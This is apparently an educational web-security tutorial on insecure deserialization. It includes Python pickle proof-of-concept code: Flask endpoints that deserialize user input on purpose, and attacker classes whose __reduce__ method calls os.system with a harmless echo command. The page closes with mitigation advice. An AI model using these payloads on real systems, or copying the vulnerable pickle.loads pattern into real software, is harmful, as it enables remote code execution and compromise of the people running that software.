What is Insecure Deserialization?

Insecure Deserialization is a security flaw that happens when an application loads (deserializes) data from an untrusted source without checking it, allowing attackers to modify the data and potentially gain unauthorized access, change application behavior, or run malicious code.

How does Insecure Deserialization work?

Insecure Deserialization works by exploiting the way applications convert data back into objects.

Here’s the step-by-step process:

      1). Application serializes data

The server converts an object (like user info or session data) into a storable format (JSON, XML, binary).

Example:

				
					{"user":"alice","role":"user"}

				
			

     2). Serialized data is sent or stored

It might be stored in cookies, local files, or sent to the client.

     3). Attacker tampers with the serialized data

The attacker modifies it, e.g., changing role from user to admin, or injecting a malicious object payload.

     4). Application blindly deserializes the data

  • When the modified data is sent back, the application trusts it and converts it back into an object without validation.

     5). Malicious effects occur

     This can lead to:

    • Privilege escalation (normal user → admin)

    • Remote Code Execution (RCE) using gadget chains

    • Denial of Service (DoS) by feeding huge or recursive payloads

Insecure Deserialization proof of concept

1). Vulnerable Code Example

				
					import pickle  # Python's serialization library

# Simulating user-supplied serialized data
def load_user_data(serialized_data):
    return pickle.loads(serialized_data)  # ❌ Vulnerable: blindly deserializing

# Example safe serialized data (normally from a trusted source)
safe_data = pickle.dumps({"user": "alice", "role": "user"})

print("Before exploit:", load_user_data(safe_data))

				
			
  • This works fine when safe_data is not tampered with.

2). Attacker Payload (Malicious Serialized Data)

An attacker can craft a malicious object that executes code when deserialized:

				
					import pickle
import os

class Evil:
    def __reduce__(self):
        return (os.system, ("echo 'Hacked! Malicious code executed!'",))

# Attacker creates malicious payload
malicious_data = pickle.dumps(Evil())

# Simulate sending it to the vulnerable server
print("Triggering exploit...")
load_user_data(malicious_data)  # When deserialized → executes the payload

				
			

What are the types of Insecure Deserialization attacks?

1. Remote Code Execution (RCE)

  • The most severe form.

  • Attacker injects a malicious object (gadget) that executes code when deserialized.

  • Common in languages like Java (readObject), Python (pickle), PHP (unserialize).

Example:

  • Sending a crafted serialized object that runs os.system("malicious command") when deserialized.

2. Privilege Escalation / Authentication Bypass

  • Attacker modifies serialized session data or user roles.

  • When deserialized, it grants higher privileges.

Example:

  • Changing { "user": "bob", "role": "user" }{ "user": "bob", "role": "admin" }

  • The server trusts the modified role and grants admin access.

3. Replay Attacks / Data Tampering

  • Attackers capture a valid serialized object and resend it later (replay).

  • Or they modify values inside serialized data to manipulate business logic.

Example:

  • Tampering with a serialized shopping cart object to change product prices.

4. Denial of Service (DoS)

  • Attacker sends maliciously large or recursive serialized data.

  • Deserialization consumes excessive memory or CPU → crashes the app.

Example:

  • A deeply nested object that causes infinite recursion during deserialization.

5. Server-Side Request Forgery (SSRF) via Deserialization

  • Some gadget chains trigger HTTP requests when deserialized.

  • Can be used to scan internal networks or hit cloud metadata endpoints.

 6. Injection into Logic / Application Flow

  • Changing serialized objects can alter how the application behaves.

Example:

  • Modifying payment objects to bypass validation.

Reflected Insecure Deserialization scripting

Reflected Insecure Deserialization isn’t a formal OWASP category like “Reflected XSS,” but the idea can happen when serialized data provided by the attacker is immediately deserialized by the application without being stored (like a reflected input).

So think of it as:

  • Reflected XSS → input is sent and reflected back immediately in the response.

  • Reflected Insecure Deserialization → attacker sends a malicious serialized payload, and the server instantly deserializes it (instead of saving it first), triggering code execution or logic manipulation on the fly.

Proof of Concept – Reflected Deserialization in Python

				
					from flask import Flask, request
import pickle
import os

app = Flask(__name__)

@app.route("/load", methods=["GET"])
def load_data():
    serialized_data = request.args.get("data")  # Attacker-controlled
    obj = pickle.loads(bytes.fromhex(serialized_data))  # ❌ Reflected Deserialization
    return f"Deserialized: {obj}"

# Normal safe request
# /load?data=8004950f0000000000007d94288c0475736572948c05616c696365948c04726f6c65948c04757365729475

if __name__ == "__main__":
    app.run(debug=True)

				
			

Attacker Exploit

				
					# Attacker builds malicious payload
class Evil:
    def __reduce__(self):
        return (os.system, ("echo '🔥 Hacked via Reflected Deserialization!'",))

malicious_payload = pickle.dumps(Evil())

print(malicious_payload.hex())  # Attacker sends this hex string in ?data=

				
			

Then the attacker visits:

				
					http://target.com/load?data=<malicious_hex_here>

				
			

Read More :

Stored Insecure Deserialization scripting

It’s when an attacker stores a malicious serialized payload (in a database, file, cookie, or session). Later, when the application retrieves and deserializes it, the payload triggers, leading to Remote Code Execution (RCE) or other malicious actions.

Unlike Reflected, it persists and can trigger anytime later (e.g., when an admin loads it).

Python Stored Insecure Deserialization PoC

 Step 1: Vulnerable Application

				
					import pickle
import os

# Simulated database
database = {}

# Save serialized data into the "database"
def store_data(key, serialized_data):
    database[key] = serialized_data
    print(f"Data stored under key: {key}")

# Load data from the database and deserialize
def load_data(key):
    data = database.get(key)
    if data:
        print(f"Loading data for key: {key}")
        # ❌ VULNERABLE: blindly deserializing untrusted data
        return pickle.loads(data)
    return None

# Legitimate safe object
safe_object = {"user": "alice", "role": "user"}
safe_serialized = pickle.dumps(safe_object)

# Store and retrieve normally
store_data("session1", safe_serialized)
print("Safe session loaded:", load_data("session1"))

				
			

Step 2: Attacker Stores Malicious Payload

				
					# Attacker crafts a malicious payload
class EvilPayload:
    def __reduce__(self):
        # This executes when deserialized!
        return (os.system, ("echo '🔥 STORED DESERIALIZATION RCE TRIGGERED!'",))

# Attacker serializes the malicious object
malicious_serialized = pickle.dumps(EvilPayload())

# Attacker stores it (e.g., via a vulnerable API or form)
store_data("session2", malicious_serialized)

				
			

Step 2: Attacker Stores Malicious Payload

				
					# Later, maybe an admin opens this session
print("\n[Later - Admin loads the stored session]")
load_data("session2")  # BOOM! Executes attacker's payload

				
			

DOM-based Insecure Deserialization scripting

DOM-based Insecure Deserialization is not a standard category like DOM-based XSS because deserialization vulnerabilities occur on the server side, while DOM-based issues are purely client-side (browser).

However, you can have a DOM-to-deserialization attack chain, where:

  • The attacker manipulates DOM data (like URL fragments or query params).

  • The frontend JavaScript passes that data to the backend.

  • The backend blindly deserializes it, leading to Insecure Deserialization (RCE, privilege escalation, etc.).

So it’s a DOM injection → triggers insecure deserialization on the server.

How a DOM-to-Deserialization Attack Works

  1). Frontend JavaScript reads attacker-controlled DOM input

				
					// Frontend JS takes data from the URL hash
let userData = window.location.hash.substr(1);

// Sends it to the backend
fetch('/api/load?data=' + encodeURIComponent(userData));

				
			

  2). Backend receives the serialized data and deserializes it

				
					# Backend Flask API
from flask import request
import pickle

@app.route('/api/load')
def load():
    data = request.args.get('data')
    obj = pickle.loads(bytes.fromhex(data))  # ❌ Vulnerable!
    return f"Loaded: {obj}"

				
			

  3). Attacker crafts a malicious payload

				
					import pickle, os

class Evil:
    def __reduce__(self):
        return (os.system, ("echo '🔥 DOM-Based Deserialization Exploit!'",))

payload = pickle.dumps(Evil())
print(payload.hex())  # Attacker puts this in URL hash

				
			

  4). Attacker sends a malicious URL

				
					https://victim.com/#8004950f0000000000007d94288c047573657294...

				
			

 5). Frontend reads it → sends it to backend → backend deserializes → RCE

How to Mitigate DOM-Based Insecure Deserialization

  • Never let DOM-controlled data be sent directly to backend deserialization.

  • Use safe data formats like JSON instead of executable serialization formats.

  • Sign or validate serialized data to detect tampering.

  • Restrict deserialization to an allowlist of safe classes.

  • Always validate and sanitize input before processing on the server.

  • Keep deserialization libraries updated to avoid known gadget chain exploits.

  • Isolate or sandbox deserialization logic to limit impact if exploited.